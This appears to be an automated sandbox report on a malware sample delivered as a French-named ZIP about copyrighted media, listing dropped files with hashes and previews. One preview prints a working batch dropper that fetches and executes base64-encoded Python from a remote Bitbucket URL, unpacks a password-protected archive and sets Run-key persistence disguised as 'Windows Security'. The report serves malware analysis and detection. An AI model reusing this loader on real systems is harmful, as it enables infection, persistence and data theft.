SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (552), with no line terminators
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.535419147096394
Encrypted:	false
SSDEEP:	24:Qsv7jJcbaJi1Br9nqn/RAfRwYpRJVzUIXRvH4EGM:vWDr9qZA5wY/JFUGvBGM
MD5:	075136B0E6D077A8A793B64F209EA9B2
SHA1:	A8DAD38E7443841214F77D46A5F899DA1620F6A0
SHA-256:	C6FBCD106B560BF55B2197D49277A9CF4912FEEC51AE667BF0968DB53BCA572C
SHA-512:	95A83B4D48FA24ABB8CCD0CA9CAE2F88465C80B568C56B6DE3F2A7B484182785D92AA4F0A7B92387C47869584D912ECED8ECF36E5029C3F2FBA1A2402B433DDC
Malicious:	true
Reputation:	low
Preview:	..&cls..cd /d "%~dp0"..set "CODE_LOADER=import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"..mkdir C:\Users\Public\QExvbmVOb25l..Rar x -pKPLbkjVZ5zAXUErg9hu3pw -inul -y QExvbmVOb25l.rar C:\Users\Public\QExvbmVOb25l..echo C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "%CODE_LOADER%" >> "C:\Users\Public\Windows Security"..echo //4mY2xzDQo= > "C:\Users\Public\Windows Security.~b64"..certutil -f -decode "C:\Users\Public\Windows Security.~b64" "C:\Users\Public\Windows Security.bat"..copy /b "C:\Users\Public\Windows Security.bat" /b + "C:\Users\Public\Windows Security" /b "C:\Users\Public\Windows Security.bat"..reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f..start "" /min "C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "%CODE_

C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PDF document, version 1.4, 4 pages
Category:	dropped
Size (bytes):	285730
Entropy (8bit):	7.813107378780199
Encrypted:	false
SSDEEP:	6144:nmZ5wjZbm4mnmOXc2OpZwQqBOunDf5VfwDkm3Y:nQWbm4mnmOo/w3HDRVf2Y
MD5:	E0EA04FC5946F8CA5CA839EF94F095C2
SHA1:	46CA5976FEB272CFCF5BCA9CB792F863672236FC
SHA-256:	67D51F1F66C033FEAF0AF080706B885002B93BB230B8A94F362D933CB977453A
SHA-512:	2A91D0458BF5E41EF24D076D3A3FA45E12EF741DF6E927816BE708E5F689C4A231F4935461018CF27CB4E63A528FEF171829B1F93B27E2CC38E4CB2668E925B0
Malicious:	false
Reputation:	low
Preview:	%PDF-1.4.%.....1 0 obj.<<./Type /Catalog./Version /1.4./Pages 2 0 R./StructTreeRoot 3 0 R./MarkInfo 4 0 R./Lang (vi-VN)./ViewerPreferences 5 0 R.>>.endobj.6 0 obj.<<./Title (Sr Agency Development Manager, Amazon Advertising)./Creator (Canva)./Producer (Canva)./CreationDate (D:20240905091403+00'00')./ModDate (D:20240905091402+00'00')./Keywords (DAGPvG5FqqI,BAEE3_RIMSI)./Author <FEFF004401B001A1006E0067002001101ED7>.>>.endobj.2 0 obj.<<./Type /Pages./Kids [7 0 R 8 0 R 9 0 R 10 0 R]./Count 4.>>.endobj.3 0 obj.<<./Type /StructTreeRoot./K [11 0 R]./ParentTree 12 0 R./ParentTreeNextKey 17.>>.endobj.4 0 obj.<<./Marked true./Suspects false.>>.endobj.5 0 obj.<<./Type /ViewerPreferences./DisplayDocTitle true.>>.endobj.7 0 obj.<<./Type /Page./Resources <<./ProcSet [/PDF /Text /ImageB /ImageC /ImageI]./ExtGState 13 0 R./XObject <<./X15 14 0 R./X16 15 0 R./X18 16 0 R.>>./Font 17 0 R.>>./MediaBox [0.0 7.8299813 595.5 850.07996]./Annots [18 0 R 19 0 R 20 0 R]./Contents 21 0 R./StructParents 0./Parent

C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\QExvbmVOb25l.rar

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	15730814
Entropy (8bit):	7.999988305439088
Encrypted:	true
SSDEEP:	393216:SJK2wD99MZUzM5HOkjEzngktJEh2NNLSlhh:WKHD99M3ji7lUhh
MD5:	9BE5746001EB62B4CF9708B3459BAA5F
SHA1:	A16AEC21EF30CAF14E224A82CF1F76D9BCB48F6F
SHA-256:	DA662AB4FFE041774FF02E2C4FA584169AACE9EB893D3C91A346D21BD8DCDB51
SHA-512:	254D6B1A693E534DA8467B2C5DDC76B316C7DA942A9B686ECC8627351DC37D63D911625E6624AFC87D7BD4EE0036E35E987078228F8AA56A9250B6009063BFA6
Malicious:	false
Reputation:	low
Preview:	Rar!.......d!.......-y~...k...'.eK./.6.l.V.......W..{Q........3...W.1....Q1g....uw..O.t..N..>.4T.x..LK=.).J..Z.4.l`.].L.E.`.8.n.....YH[.!..@...b5r...<..n..V..P.....O.7..{...w...0.....:U.aN.)....a.T\|.=V.Z.OR...A.C...h..A..P&2...>TJH. ....Ho..a7..&...}../.....@....XtYM.............\..L0..QIfY....B.$.Y...U..2...1ym....U.......<..7...$...9.pB...?..B.......c.......7Oj#..o.}.U=`tD...a..g..O}5.[j.XV.s^..O..&........9.. .F...l..a.nk.........5..S:...r\.bSO@.....oV8+..^.a..d...+..v........q5..c.h.7g.F)..6..?..e....JJF..[:y.J.W......'...a._es..........X..v....C...8K.s..nj.9......./.1.a........1..E.w....,cQ5..8..E.....e..{9>p.nA...o..[....f`+L./.E.}.s.i...J......"%3....V.2`z/......g.....Z3..[..XT>u2"..M.."..2...G.C.].2.5.Z..74..qJ..<{.+Hb....;.R..mj....J..B6.n..Q_..?.N..........r5...U.[...........rqf...!.P......Dnyj..b(..zq5Jh.%.X.E.dR......t.+^...)...M.~a........Nu......+E...@.w.>..z?.....qy.CM@.}...w.@L.w.Y9..a.]-..j........L.}.....q........D

C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	644184
Entropy (8bit):	6.451035547006443
Encrypted:	false
SSDEEP:	12288:XxGICLbJbw9eVSeeUpG8dux9VF7qDtJQcBswj1POW4ddjh:mdbmeVSowh3VdqD/owpPODdjh
MD5:	01F28B85ABF1993B7B14B3D15346F2E8
SHA1:	DEC708FE5E44E77E1737C51B7A4A0422994D1F6F
SHA-256:	B550465B9739594B6A193A16FA33F3CDDE3ECD4773FEB93E68C00FDBCF5EB8B8
SHA-512:	DEA58D71EC8A0BF3BCBAA78CF54C957FA218F1842FE3FCB9C40D05B0C1E9A8DBF1D486036AD0EB04741E15149F93AFEC1B4878A0CD6B6A2B92FB9D00363AA14A
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............\|...\|...\|..Q....\|..Q...f\|..Q....\|....b..\|..e....\|..e....\|..e....\|..e....\|....v..\|...\|..^\|..k...\|..k....\|..k....\|..Rich.\|..................PE..d.....td.........."....!. ...*.................@....................................d.....`.................................................4w..........H........F......XH......x.......T.......................(.......@............0...............................text............ .................. ..`.rdata..@Z...0...\...$..............@..@.data...l........4..................@....pdata...F.......H..................@..@_RDATA..\...........................@..@.rsrc...H...........................@..@.reloc..x...........................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6365288
Entropy (8bit):	6.974813635942095
Encrypted:	false
SSDEEP:	98304:VZQIM+/nv/CDoAkYwpAa5ge1zZ/jtdZwUkQ:bJCKlA2VKUz
MD5:	4864A55CFF27F686023456A22371E790
SHA1:	6ED30C0371FE167D38411BFA6D720FCDCACC4F4C
SHA-256:	08C7FB6067ACC8AC207D28AB616C9EA5BC0D394956455D6A3EECB73F8010F7A2
SHA-512:	4BD3A16435CCA6CE7A7AA829EB967619A8B7C02598474E634442CFFC55935870D54D844A04496BF9C7E8C29C40FAE59AC6EB39C8550C091D06A28211491D0BFB
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........N..HN..HN..Hih.H\..HP.BHF..H..PHF..HG.SHu..HG.BH...HN..HQ..HG.EH...Hih.Hk..HN..H%..HG.OHw..HP.RHO..HG.WHO..HRichN..H........................PE..L...$7.Z.................z,...4...............,...@...........................b......a......................................W.\|....._...............a.h...........@.,.............................H.U.@.............,.....\.W.@....................text...\y,......z,................. ..`.rdata...]+...,..^+..~,.............@..@.data...\.....W..<....W.............@....rsrc........._.......^.............@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\msimg32.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127926272
Entropy (8bit):	7.999997733243715
Encrypted:	true
SSDEEP:	3145728:oPuOrCCcT8QYJOszhHsaB1kG4IrNwdWaXnDbkb:zyCCcT8QYfFH41ddXPkb
MD5:	04340A5863AE55A0D5ED6DB7571B30CA
SHA1:	4E05463C1C03EFACA6687990D0EDE2C417ED9D43
SHA-256:	BBA2F01995D86741095C53E39951AFEB7BC30B732C0D8242829B6DC144D97835
SHA-512:	56CD0F07C4FFD9D61F2CAD552DF2CE8410661EFA243C5EA83660F140CAB7AB42C6B711E2512C5D806DF5BECD4258960A59850F1DCDEFCFBCC45DF77F37CD708B
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{Y.....................W.......W.......W.......W.......................V.......V.......V.......V......Rich............................PE..L.....4g...........!...).N...$.......S.......`............................................@.........................Po..x....p..d....................................c..p............................b..@............`...............................text....M.......N.................. ..`.rdata.......`.......R..............@..@.data...$............h..............@....rsrc................j..............@..@.reloc...............l..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\vcruntime140.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91272
Entropy (8bit):	6.949159838323346
Encrypted:	false
SSDEEP:	1536:fDrhkJFRuE16nq2QoVj8gMaPTz7WHqQWZwg+AnecbGKjj9M9zfk/AJYpz7w:LdkpQMaPDWgD+wecbGkjk4vpnw
MD5:	4F0F5649FFC133FA626589ED6111C30E
SHA1:	65ACBA59815E6440C06C55C4457C601B5B22B0AD
SHA-256:	A088131E8EB4E2178789AF49B646AB463CF9A1F48DA51698448206DF21DB5C95
SHA-512:	526432F06A9105F29FD8E9C1814B5CA82880337A2DE0149ED9A15E250DA607047331C299FFFB41CB7486A4D61C543F459BF073E1187637FDED487019B5B0A04E
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........tm<[..o[..o[..o.m.nY..oRm.oP..o[..or..o...nM..o...nG..o...nH..o...nZ..o...oZ..o...nZ..oRich[..o........................PE..L....B............"!...(.....................................................P............@A................................. .......0...................P...@.. ....$..T............................#..@............ ...............................text............................... ..`.data...\...........................@....idata....... ......................@..@.rsrc........0......................@..@.reloc.. ....@......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\login_db

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	modified
Size (bytes):	3307
Entropy (8bit):	5.2081857788443635
Encrypted:	false
SSDEEP:	48:GV2xGlGblGlGpXGeGlGpasZGbbGHsZG9GCLGlGkGlG3GfGZmGiEjFbtVrbaN7Gly:Gba0g4HtYJN
MD5:	48E24FEC0004D736BAA6432D1C8BB9AC
SHA1:	AE63BA297024E3EE212BAAEAC499030C4F077538
SHA-256:	34B2CD0B6877D1B94A9115D6D0166FDCD0C416FE25A22FB9D49EB2ABC0C72BAD
SHA-512:	9581469DCD4281259195A0BB3E4CE0A23AD7F2C914424B8702F7207AA22646E08A14AABB9D1BE7E7D9AA05D0EE14B90EAD4BA261DC3D8CBD89B7CB6209780A79
Malicious:	false
Reputation:	low
Preview:	11/15/2024 5:58 AM: Unpack: C:\Users\user\Downloads\La collection de vid.os et d.images est prot.g.e par les droits d.auteur de l.auteur.zip..11/15/2024 5:58 AM: Tmp dir: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k..11/15/2024 5:58 AM: Received from standard out: ..11/15/2024 5:58 AM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..11/15/2024 5:58 AM: Received from standard out: ..11/15/2024 5:58 AM: Received from standard out: Scanning the drive for archives:..11/15/2024 5:58 AM: Received from standard out: 1 file, 147273996 bytes (141 MiB)..11/15/2024 5:58 AM: Received from standard out: ..11/15/2024 5:58 AM: Received from standard out: Extracting archive: C:\Users\user\Downloads\La collection de vid.os et d'images est prot.g.e par les droits d'auteur de l'auteur.zip..11/15/2024 5:58 AM: Received from standard out: --..11/15/2024 5:58 AM: Received from standard out: Path = C:\Users\user\Downloads\La collection

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Reputation:	low
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Reputation:	low
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ISO-8859 text, with very long lines (3486), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	14456
Entropy (8bit):	4.2098179599164975
Encrypted:	false
SSDEEP:	192:gcPqYV/saFlwwR+kMqe8TlZMX1sgUVa3ddMVsuNeMcGdSD9obOUAVlcMudM/Y14e:g7Q/X4kMb0lZ6mgtdHOelGdWaolvsTZ
MD5:	32FCA302C8B872738373D7CCB1E75FD4
SHA1:	DA85FAF24ED0ECFD5D69CCFD6286D8B77D7EB4F1
SHA-256:	CD0DD26304B88C20801FE80B33C49C009E2E5D4411B5D7F83252E1D90CD461C6
SHA-512:	57F8CC85FAFB15455074431216E47433E50DF5DE74ED74C395B7FF2C433DB7CE06F0A1C1FE1EFDC17229DBC33325D559789F43901556DD1A12963B94F01D5A1F
Malicious:	false
Reputation:	low
Preview:	%PPKLITE-2.1.%......1 0 obj.<</PPK<</AddressBook<</Entries[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R]/NextID 1006/Type/AddressBook>>/Type/PPK/User<</Type/User>>/V 65537>>/Type/Catalog>>.endobj.2 0 obj.<</ABEType 1/Cert<308204A130820389A00302010202043E1CBD28300D06092A864886F70D01010505003069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F74204341301E170D3033303130383233333732335A170D3233303130393030303732335A3069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F7420434130820122300D06092A864886F70D01010105000382010F003082010A0282010100CC4F5484F7A7A2E733537F3F9C12886B2C9947677E0F1EB9AD1488F9C310D81DF0F0D59F690A2F5935B0CC6CA94C9C15A09FCE20BFA0CF54E2E02066453F3986387E9CC48E0722C624F60112B035DF55EA6990B

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 09:57:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9628987875541375
Encrypted:	false
SSDEEP:	48:8lMdcTgIQHmidAKZdA19ehwiZUklqehvty+3:8tflGy
MD5:	53B1D6FD4CCE94172904C4CDA6C3B3B6
SHA1:	733840BDCCE114D3F77FEB3D0ADF50C67F3450EE
SHA-256:	48CFBF6C0A9CE9426EF1A08B9105EC9E9B56C08FC792E65006F3E38AF2362557
SHA-512:	803194ACF5231B14CD9E35B01C83D21F98A146C249D4663369DC21BF088DD3D8C85CD6CC6F506A82B41FB0FEAAA003EE83918B08C6C802627324E7490A69CB32
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....NX2M7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY4W....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY4W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY4W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY4W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY6W...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............t.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 09:57:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.976867967268212
Encrypted:	false
SSDEEP:	48:8tMdcTgIQHmidAKZdA1weh/iZUkAQkqehwty+2:8Vf/9Qby
MD5:	278F8D98BCC7288FB238FF232C2D4060
SHA1:	19CA1DEA660BEBAB34B8E093DAEA0615BFA206CD
SHA-256:	6E2BBB2E0257C157618D979B7A2A9005822766E9A5424C288D7111D05AFA816F
SHA-512:	DA364547486CD498F2D9250B80C62FA94CEEE948A6530AFF7CB8C22A8AAB25774C17A19595B84C25D4CBF544B47B995187D5468095F278A10DEE495ECF22CAE1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....sK2M7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY4W....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY4W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY4W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY4W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY6W...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............t.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9937800651780164
Encrypted:	false
SSDEEP:	48:8xQMdcTgIsHmidAKZdA14tseh7sFiZUkmgqeh7s6ty+BX:8xAfTnqy
MD5:	CF4A6C0211E013B28CBBA090BA65FC0D
SHA1:	A358330F7A3E53A0D8BE105A33D5A73DF235C41D
SHA-256:	38CCC61A9EE5D9D6C0D0CAEA17ADE455C138AF89B806E008D7BFF4FB52666C4D
SHA-512:	EC72D53830A8498B65370EA347BA9D266A7093A18D97002245820E25D45F72723C0AC0210C17CDF5B284FC7B8F956A98E89E883895A950B8F952F878D4374215
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY4W....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY4W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY4W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY4W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............t.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 09:57:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.975699353362106
Encrypted:	false
SSDEEP:	48:8RMdcTgIQHmidAKZdA1vehDiZUkwqeh8ty+R:8pf88y
MD5:	985AC25EAB18BD9B0866871D49BBA321
SHA1:	7B916544C9D81C288F535852BC5AB8BC727AFC9A
SHA-256:	25A9AA8828D726507C5234D23A6EAE9EA706EB4111E6B796857A627ACEA052B6
SHA-512:	3FCEE757ABA0BFD6CE71F9B63DD5C9AA5153614420862AB0AD46029AB307723E7C69B45952715C0BFFAAA5D80D24A5C0BC220B38F8D51B6E51AF4225EDDFC3CF
Malicious:	false
Reputation:	low
